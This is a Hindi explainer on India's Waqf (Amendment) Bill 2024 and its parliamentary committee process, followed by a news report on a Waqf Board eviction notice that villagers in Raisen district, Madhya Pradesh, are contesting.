    8 अगस्त, 2024 को लोकसभा में दो बिल, वक़्फ़ (संशोधन) बिल, 2024 और मुसलमान वक़्फ़ (निरसन) बिल, 2024 पेश किए गए। इनका मकसद वक्फ बोर्ड के काम को सुव्यवस्थित और वक्फ की प्रॉपर्टीज का बेहतर मैनेजमेंट करना है। वक्फ (संशोधन) बिल, 2024 का मकसद वक्फ अधिनियम, 1995 में संशोधन करना है, ताकि वक्फ संपत्तियों के रेगुलेशन और मैनेजमेंट में आने वाली समस्याओं और चुनौतियों का समाधान किया जा सके। संशोधन विधेयक का उद्देश्य देश में वक्फ संपत्तियों के मैनेजमेंट में सुधार करना है। इसका मकसद पिछले कानून की खामियों को दूर करना और अधिनियम का नाम बदलने जैसे बदलाव करके वक्फ बोर्डों की कार्यकुशलता को बेहतर करना भी है। साथ ही वक्फ की परिभाषाओं को अपडेट करना, रजिस्ट्रेशन की प्रक्रिया में सुधार करना, वक्फ रिकॉर्ड के मैनेजटमेंट में टेक्नोलॉजी का इस्तेमाल बढ़ाना भी है।

    भारत में वक्फ मैनेजमेंट के लिए जिम्मेदार प्रशासनिक निकाय कौन से हैं और उनकी भूमिकाएं क्या हैं?
    भारत में वक्फ संपत्तियों का प्रशासन फिलहाल वक्फ अधिनियम, 1995 के तहत किया जाता है। वक्फ मैनेजमेंट में शामिल प्रमुख प्रशासनिक निकायों में शामिल हैं: केंद्रीय वक्फ परिषद (सीडब्ल्यूसी)- सरकार और राज्य वक्फ बोर्डों को नीति पर सलाह देती है, लेकिन वक्फ संपत्तियों को सीधे नियंत्रित नहीं करती है। राज्य वक्फ बोर्ड (एसडब्ल्यूबी) – प्रत्येक राज्य में वक्फ संपत्तियों का मैनेजमेंट और सुरक्षा करते हैं। वक्फ ट्रिब्यूनल- विशेष न्यायिक निकाय, जो वक्फ संपत्तियों से संबंधित विवादों को संभालते हैं। यह प्रणाली बेहतर प्रबंधन और मुद्दों के तेज़ समाधान को सुनिश्चित करती है। पिछले कुछ वर्षों में, कानूनी बदलावों ने वक्फ प्रशासन को अधिक पारदर्शी, कुशल और जवाबदेह बना दिया है।

    वक्फ बोर्ड से संबंधित मुद्दे क्या हैं?
    1. वक्फ संपत्तियों की अपरिवर्तनीयताः ‘एक बार वक्फ, हमेशा वक्फ’ के सिद्धांत ने विवादों को जन्म दिया है। 2. कानूनी विवाद और मिसमैनेजमेंटः वक्फ अधिनियम, 1995 और इसका 2013 का संशोधन प्रभावकारी नहीं रहा है जिसकी वजह से वक्फ भूमि पर अवैध कब्ज़ा, कुप्रबंधन और मालिकाना हक का विवाद, प्रॉपर्टी रजिस्ट्रेशन और सर्वेक्षण में देरी, बड़े पैमाने पर मुकदमे और मंत्रालय को शिकायतें जैसे समस्याएं सामने आ रही हैं। 3. कोई न्यायिक निगरानी नहीं-वक्फ ट्रिब्यूनल्स के फैसलों को हाई कोर्ट्स में चुनौती नहीं दी जा सकती। इससे वक्फ मैनेजमेंट में पारदर्शिता और जवाबदेही कम हो जाती है। 4. वक्फ संपत्तियों का अधूरा सर्वेक्षण-सर्वेक्षण आयुक्त का काम खराब रहा है, जिससे देरी हुई है। गुजरात और उत्तराखंड जैसे राज्यों में अभी तक सर्वेक्षण शुरू नहीं हुआ है। उत्तर प्रदेश में 2014 में आदेशित सर्वेक्षण अभी भी लंबित है। विशेषज्ञता की कमी और राजस्व विभाग के साथ खराब कोर्डिनेशन ने रजिस्ट्रेशन प्रोसेस को धीमा कर दिया है। 5. वक्फ कानूनों का दुरुपयोग- कुछ राज्य वक्फ बोर्डों ने अपनी शक्तियों का दुरुपयोग किया है, जिसकी वजह से सामुदायिक तनाव पैदा हुआ है। निजी संपत्तियों को वक्फ संपत्ति घोषित करने के लिए वक्फ अधिनियम की धारा 40 का दुरुपयोग किया गया है, जिससे कानूनी लड़ाई और अशांति पैदा हुई है।30 राज्यों/केंद्र शासित प्रदेशों से मिली जानकारी के अनुसार, केवल 8 राज्यों की तरफ से डेटा दिया गया, जहां धारा 40 के तहत 515 संपत्तियों को वक्फ घोषित किया गया है। 6. वक्फ अधिनियम की संवैधानिक वैधता-वक्फ अधिनियम केवल एक धर्म पर लागू होता है, जबकि अन्य के लिए इसके समान कोई कानून मौजूद नहीं है। दिल्ली हाई कोर्ट में दायर एक जनहित याचिका (PIL) में सवाल उठाया गया है कि क्या वक्फ अधिनियम संवैधानिक है। दिल्ली हाई कोर्ट ने इस मुद्दे पर केंद्र सरकार से जवाब मांगा है।

    बिल पेश करने से पहले मंत्रालय ने क्या कदम उठाए और स्टेकहोल्डर्स से क्या विचार-विमर्श किए?
    अल्पसंख्यक मामलों के मंत्रालय ने विभिन्न स्टेकहोल्डर्स से विचार विमर्श किए, जिसमें सच्चर कमेट की रिपोर्ट, जन प्रतिनिधियों, मीडिया और आम जनता द्वारा कुप्रबंधन, वक्फ अधिनियम की शक्तियों के दुरुपयोग और वक्फ संस्थाओं द्वारा वक्फ संपत्तियों के कम उपयोग के बारे में जाहिर की चिंताएं शामिल हैं। मंत्रालय ने राज्य वक्फ बोर्डों से भी परामर्श किया। मंत्रालय ने वक्फ अधिनियम, 1995 के प्रावधानों की समीक्षा की प्रक्रिया शुरू की और स्टेकहोल्डर्स के साथ परामर्श किया। दो बैठकों में प्रभावित स्टेकहोल्डर्स की समस्याओं को सुलझाने के लिए इस अधिनियम में उपयुक्त संशोधन करने के लिए आम सहमति बनी। इनमें शामिल हैं- सीडब्ल्यूसी (केंद्रीय वक्फ परिषद) और एसडब्ल्यूबी (राज्य वक्फ बोर्ड) की संरचना का आधार बढ़ाना, मुतवल्लियों की भूमिका और जिम्मेदारियां, ट्रिब्यूनल का पुनर्गठन, रजिस्ट्रेशन की प्रक्रिया में सुधार, टाइटल्स की घोषणा, वक्फ संपत्तियों का सर्वेक्षण, वक्फ संपत्तियों का म्यूटेशन, मुतवल्लियों द्वारा खातों फाइलिंग, वार्षिक खाता फाइलिंग में सुधार, निष्क्रांत संपत्तियों/परिसीमा अधिनियम से संबंधित प्रावधानों की समीक्षा, वक्फ संपत्तियों का वैज्ञानिक प्रबंधन।

    वक्फ संशोधन विधेयक 2024 को पेश करने की प्रक्रिया क्या थी?
    • वक्फ संशोधन विधेयक 2024 को वक्फ संपत्तियों के प्रबंधन और शासन में कमियों को दूर करने के उद्देश्य से 8 अगस्त, 2024 को पेश किया गया था।• 9 अगस्त, 2024 को संसद के दोनों सदनों ने विधेयक को 21 लोकसभा और 10 राज्यसभा सदस्यों की एक संयुक्त समिति को जांचने और उस पर रिपोर्ट देने के लिए भेजा।• विधेयक के महत्व और इसके व्यापक निहितार्थों को ध्यान में रखते हुए, समिति ने उक्त विधेयक के प्रावधानों पर आम जनता और विशेष रूप से विशेषज्ञों/हितधारकों और अन्य संबंधित संगठनों से विचार प्राप्त करने के लिए ज्ञापन आमंत्रित करने का निर्णय लिया था।• संयुक्त संसदीय समिति ने छत्तीस बैठकें कीं, जिसमें उन्होंने विभिन्न मंत्रालयों/विभागों के प्रतिनिधियों के विचार/सुझाव सुने जैसे: अल्पसंख्यक मामलों के मंत्रालय, विधि एवं न्याय, रेलवे (रेलवे बोर्ड), आवास और शहरी मामलों, सड़क परिवहन और राजमार्ग, संस्कृति (भारतीय पुरातत्व सर्वेक्षण), राज्य सरकारें, राज्य वक्फ बोर्ड और विशेषज्ञ/हितधारक।• पहली बैठक 22 अगस्त, 2024 को हुई और इन बैठकों के दौरान जिन प्रमुख संगठनों/हितधारकों से परामर्श किया गया, जिनमें ऑल इंडिया सुन्नी जमीयतुल उलमा, मुंबई; इंडियन मुस्लिम्ज़ ऑफ सिविल राइट्स (आईएमसीआर), नई दिल्ली, मुत्तहेदा मजलिस-ए-उलेमा, जेएंडके (मीरवाइज उमर फारूक), जकात फाउंडेशन ऑफ इंडिया, अंजुमन ए शीतली दाऊदी बोहरा समुदाय, चाणक्य नेशनल लॉ यूनिवर्सिटी पटना, ऑल इंडिया पसमांदा मुस्लिम महाज, दिल्ली, ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड (एआईएमपीएलबी), दिल्ली, ऑल इंडिया सूफी सज्जादानशीन काउंसिल (एआईएसएससी), अजमेर, मुस्लिम राष्ट्रीय मंच, दिल्ली, मुस्लिम महिला बौद्धिक समूह- डॉ. शालिनी अली, राष्ट्रीय संयोजक, जमीयत उलमा-ए-हिंद, दिल्ली, शिया मुस्लिम धर्मगुरु और बौद्धिक समूह, दारुल उलूम देवबंद जैसे संगठन शामिल रहे।

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Waqf बोर्ड के नोटिस से रायसेन के गांव में मचा हड़कंप, 7 दिन में ज़मीन खाली करने का नोटिस जारी किया https://pratyushaashakinayikiran.com/?p=137594 Sat, 08 Mar 2025 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=137594 रायसेन
 मध्य प्रदेश के रायसेन जिले के मखनी गांव से हैरान करने वाला मामला सामने आया। यहां वक्फ बोर्ड ने सात परिवारों को 7 दिन के अंदर उनकी जमीन खाली करने का नोटिस दिया है। वक्फ बोर्ड ने नोटिस देते हुए दावा किया है कि ये उसकी सपंत्ति है,और कहा 7 दिन के अंदर जमीन करें खाली नहीं तो करेंगे कानूनी कार्रवाई। वक्फ बोर्ड का नोटिस मिलने से किसान परेशान हो गए और न्याय के लिए कलेक्ट्रेट पहुंचे। कलेक्टर अरुण कुमार विश्वकर्मा को आवेदन देकर हस्तक्षेप कर वक्फ बोर्ड पर कार्रवाई करने की मांग की है।

आपको बता दें कि ग्राम माखनी के सात परिवार कई पीढ़ियों से इसी जमीन पर रहकर निवास कर रहे हैं। इतना ही नहीं सरकारी खसरे में ये जमीन सरकारी बताई जा रही है। ग्रामीणों को इसी जमीन पर प्रधानमंत्री आवास योजना की कुटीर भी मिली हुई है। इसके बाद भी अचानक वक्फ बोर्ड के नोटिस मिलने से ग्रामीण परेशान है।
मंदिर और मुक्तिधाम को लेकर चिंतित

नोटिस मिलने के बाद ग्रामीण रामकली का का कहना है कि हमारी जान चली जाए लेकिन इस जमीन को खाली नहीं करेंगे। वहीं, उन्होंने कहा कि प्राचीन ऐतिहासिक मंदिर और शमशान घाट भी इसी जमीन पर बना है। एक किसान ने सवाल किया कि अगर यह बक्फ बोर्ड की जमीन थी तो फिर हमें प्रधानमंत्री आवास योजना की कुटीर कैसे मिली? इस मामले में ग्रामीणों ने स्पष्ट कहा कि कुछ भी हो जाए ना हम अपने मंदिर को तोड़ने नहीं देंगे और ना ही ये जमीन को खाली करेंगे। ना ही मकान को तोड़ेंगे।

हिंदू संगठनों ने दर्ज कराया विरोध

लेकिन इस घटनाक्रम के बाद हिंदूवादी संगठन सक्रिय होकर ग्राम माखनी पहुंचे और स्पष्ट रूप से कहा कि इस जमीन पर प्राचीन मंदिर बना हुआ है। जिसे किसी भी सूरत में तोड़ने नहीं दिया जाएगा। जो परिवार यहां रह रहे हैं उनको नहीं हटाने दिया जाएगा। इतना कहते हुए हिंदू संगठनों ने आस्था पर हमला बोलते हुए विरोध शुरू कर दिया है।

इस मामले में रायसेन कलेक्टर अरुण कुमार विश्वकर्मा कलेक्टर का कहना है कि मीडिया के माध्यम से मामला संज्ञान में आया है। इसकी जांच कराएंगे कि आखिर बक्फ बोर्ड ने किस आधार पर नोटिस जारी किया है। दोनों पक्षों को सुनकर न्याय संगत कार्रवाई करेंगे।

मामले में ग्रामीणों ने स्पष्ट कहा कि कुछ भी हो जाए, हम अपने मंदिर को तोड़ने नहीं देंगे और न ही ये जमीन को खाली करेंगे और मकान को तोड़ेंगे। वहीं, इस मामले में रायसेन कलेक्टर का कहना है कि मीडिया के माध्यम से मामला संज्ञान में आया है। इसकी जांच कराएंगे कि आखिर बक्फ बोर्ड ने किस आधार पर नोटिस जारी किया है और दोनों पक्षों को सुनकर न्याय संगत कार्रवाई करेंगे।

लेकिन इस घटनाक्रम के बाद हिंदूवादी संगठन सक्रिय होकर ग्राम माखनी पहुंचे और स्पष्ट रूप से कहा कि इस जमीन पर प्राचीन मंदिर बना हुआ है, जिसे किसी भी सूरत में तोड़ने नहीं दिया जाएगा और जो परिवार यहां रह रहे हैं, उनको नहीं हटाने दिया जाएगा।

जान चली जाए, जमीन नहीं छोड़ेंगे- ग्रामीण
पीड़ित ग्रामीण रामकली बाई ने कहा, "हमारी जान चली जाए, लेकिन हम यह जमीन नहीं छोड़ेंगे।" रानू मालवीय ने सवाल किया, "अगर यह वक्फ की जमीन थी, तो हमें प्रधानमंत्री आवास कैसे मिला?" प्रभुलाल ने कहा, "हमारा मंदिर और श्मशान यहां है, हम इसे तोड़ने नहीं देंगे।"

कलेक्टर का बयान
कलेक्टर अरुण कुमार विश्वकर्मा ने मीडिया से कहा, "मामला मेरे संज्ञान में आया है। वक्फ बोर्ड ने किस आधार पर नोटिस जारी किया, इसकी जांच की जाएगी। हम दोनों पक्षों को सुनकर न्यायसंगत कार्रवाई करेंगे।" जिला प्रशासन ने अभी तक इसकी भनक न लगने की बात स्वीकारी है, जिससे सवाल उठ रहे हैं।

 

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